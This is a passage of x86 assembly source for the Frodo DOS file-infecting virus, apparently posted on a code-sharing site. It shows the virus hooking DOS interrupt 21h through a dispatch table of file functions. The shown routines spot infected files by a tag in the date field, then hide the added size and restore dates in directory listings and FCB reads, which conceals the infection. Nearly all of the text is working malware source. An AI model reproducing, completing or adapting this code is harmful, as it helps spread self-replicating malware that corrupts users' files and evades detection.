📄 frodo.asm
字号:
mul bx
add ax,cx
adc dx,0
div bx ; convert to seg:off
push ax ; set up stack for jmp
mov ax,offset installvirus ; to installvirus
push ax
mov ax,bp
retf ; go to installvirus
int21commands:
db 30h ; get DOS version
dw offset getDOSversion
db 23h ; FCB get file size
dw offset FCBgetfilesize
db 37h ; get device info
dw offset get_device_info
db 4Bh ; execute
dw offset execute
db 3Ch ; create file w/ handle
dw offset createhandle
db 3Dh ; open file
dw offset openhandle
db 3Eh ; close file
dw offset handleclosefile
db 0Fh ; FCB open file
dw offset FCBopenfile
db 14h ; sequential FCB read
dw offset sequentialFCBread
db 21h ; random FCB read
dw offset randomFCBread
db 27h ; random FCB block read
dw offset randomFCBblockread
db 11h ; FCB find first
dw offset FCBfindfirstnext
db 12h ; FCB find next
dw offset FCBfindfirstnext
db 4Eh ; filename find first
dw offset filenamefindfirstnext
db 4Fh ; filename find next
dw offset filenamefindfirstnext
db 3Fh ; read
dw offset handleread
db 40h ; write
dw offset handlewrite
db 42h ; move file pointer
dw offset handlemovefilepointer
db 57h ; get/set file time/date
dw offset getsetfiletimedate
db 48h ; allocate memory
dw offset allocatememory
endcommands:
otherint21:
cmp ax,4B00h ; execute?
jnz notexecute
mov cs:checkres,al ; clear the resident flag
notexecute:
push bp ; set up stack frame
mov bp,sp
push [bp+6] ; push old flags
pop cs:int21flags ; and put in variable
pop bp ; why?
push bp ; why?
mov bp,sp ; set up new stack frame
call saveregs
call swapvirint21 ; reenable DOS int 21h handler
call disableBREAK
call restoreregs
call _pushall
push bx
mov bx,offset int21commands ; bx->command table
scanforcommand:
cmp ah,cs:[bx] ; scan for the function
jne findnextcommand ; code/subroutine combination
mov bx,cs:[bx+1]
xchg bx,[bp-14h]
cld
retn
findnextcommand:
add bx,3 ; go to next command
cmp bx,offset endcommands ; in the table until
jb scanforcommand ; there are no more
pop bx
exitotherint21:
call restoreBREAK
in al,21h ; save IMR
mov cs:saveIMR,al
mov al,0FFh ; disable all interrupts
out 21h,al
mov byte ptr cs:instructionstotrace,4 ; trace into
mov byte ptr cs:tracemode,1 ; oldint21
call replaceint1 ; set virus int 1 handler
call _popall
push ax
mov ax,cs:int21flags ; get the flags
or ax,100h ; turn on the trap flag
push ax ; and set it in motion
popf
pop ax
pop bp
jmp dword ptr cs:oldint21 ; chain back to original int
; 21h handler -- do not return
exitint21:
call saveregs
call restoreBREAK
call swapvirint21
call restoreregs
pop bp
push bp ; set up stack frame
mov bp,sp
push word ptr cs:int21flags ; get the flags and put
pop word ptr [bp+6] ; them on the stack for
pop bp ; the iret
iret
FCBfindfirstnext:
call _popall
call callint21
or al,al ; Found any files?
jnz exitint21 ; guess not
call _pushall
call getdisktransferaddress
mov al,0
cmp byte ptr [bx],0FFh ; Extended FCB?
jne findfirstnextnoextendedFCB
mov al,[bx+6]
add bx,7 ; convert to normal FCB
findfirstnextnoextendedFCB:
and cs:hide_size,al
test byte ptr [bx+1Ah],80h ; check year bit for virus
jz _popall_then_exitint21 ; infection tag. exit if so
sub byte ptr [bx+1Ah],0C8h ; alter file date
cmp byte ptr cs:hide_size,0
jne _popall_then_exitint21
sub word ptr [bx+1Dh],1000h ; hide file size
sbb word ptr [bx+1Fh],0
_popall_then_exitint21:
call _popall
jmp short exitint21
FCBopenfile:
call _popall
call callint21 ; chain to original int 21h
call _pushall
or al,al ; 0 = success
jnz _popall_then_exitint21
mov bx,dx
test byte ptr [bx+15h],80h ; check if infected yet
jz _popall_then_exitint21
sub byte ptr [bx+15h],0C8h ; restore date
sub word ptr [bx+10h],1000h ; and hide file size
sbb byte ptr [bx+12h],0
jmp short _popall_then_exitint21
randomFCBblockread:
jcxz go_exitotherint21 ; reading any blocks?
randomFCBread:
mov bx,dx
mov si,[bx+21h] ; check if reading first
or si,[bx+23h] ; bytes
jnz go_exitotherint21
jmp short continueFCBread
sequentialFCBread:
mov bx,dx
mov ax,[bx+0Ch] ; check if reading first
or al,[bx+20h] ; bytes
jnz go_exitotherint21
continueFCBread:
call checkFCBokinfect
jnc continuecontinueFCBread
go_exitotherint21:
jmp exitotherint21
continuecontinueFCBread:
call _popall
call _pushall
call callint21 ; chain to original handler
mov [bp-4],ax ; set the return codes
mov [bp-8],cx ; properly
push ds ; save FCB pointer
push dx
call getdisktransferaddress
cmp word ptr [bx+14h],1 ; check for EXE infection
je FCBreadinfectedfile ; (IP = 1)
mov ax,[bx] ; check for COM infection
add ax,[bx+2] ; (checksum = 0)
add ax,[bx+4]
jz FCBreadinfectedfile
add sp,4 ; no infection, no stealth
jmp short _popall_then_exitint21 ; needed
FCBreadinfectedfile:
pop dx ; restore address of the FCB
pop ds
mov si,dx
push cs
pop es
mov di,offset tempFCB ; copy FCB to temporary one
mov cx,25h
rep movsb
mov di,offset tempFCB
push cs
pop ds
mov ax,[di+10h] ; get old file size
mov dx,[di+12h]
add ax,100Fh ; increase by virus size
adc dx,0 ; and round to the nearest
and ax,0FFF0h ; paragraph
mov [di+10h],ax ; insert new file size
mov [di+12h],dx
sub ax,0FFCh
sbb dx,0
mov [di+21h],ax ; set new random record #
mov [di+23h],dx
mov word ptr [di+0Eh],1 ; record size = 1
mov cx,1Ch
mov dx,di
mov ah,27h ; random block read 1Ch bytes
call callint21
jmp _popall_then_exitint21
FCBgetfilesize:
push cs
pop es
mov si,dx
mov di,offset tempFCB ; copy FCB to temp buffer
mov cx,0025h
repz movsb
push ds
push dx
push cs
pop ds
mov dx,offset tempFCB
mov ah,0Fh ; FCB open file
call callint21
mov ah,10h ; FCB close file
call callint21
test byte ptr [tempFCB+15h],80h ; check date bit
pop si
pop ds
jz will_exitotherint21 ; exit if not infected
les bx,dword ptr cs:[tempFCB+10h] ; get filesize
mov ax,es
sub bx,1000h ; hide increase
sbb ax,0
xor dx,dx
mov cx,word ptr cs:[tempFCB+0eh] ; get record size
dec cx
add bx,cx
adc ax,0
inc cx
div cx
mov [si+23h],ax ; fix random access record #
xchg dx,ax
xchg bx,ax
div cx
mov [si+21h],ax ; fix random access record #
jmp _popall_then_exitint21
filenamefindfirstnext:
and word ptr cs:int21flags,-2 ; turn off trap flag
call _popall
call callint21
call _pushall
jnb filenamefffnOK ; continue if a file is found
or word ptr cs:int21flags,1
jmp _popall_then_exitint21
filenamefffnOK:
call getdisktransferaddress
test byte ptr [bx+19h],80h ; Check high bit of date
jnz filenamefffnfileinfected; Bit set if infected
jmp _popall_then_exitint21
filenamefffnfileinfected:
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -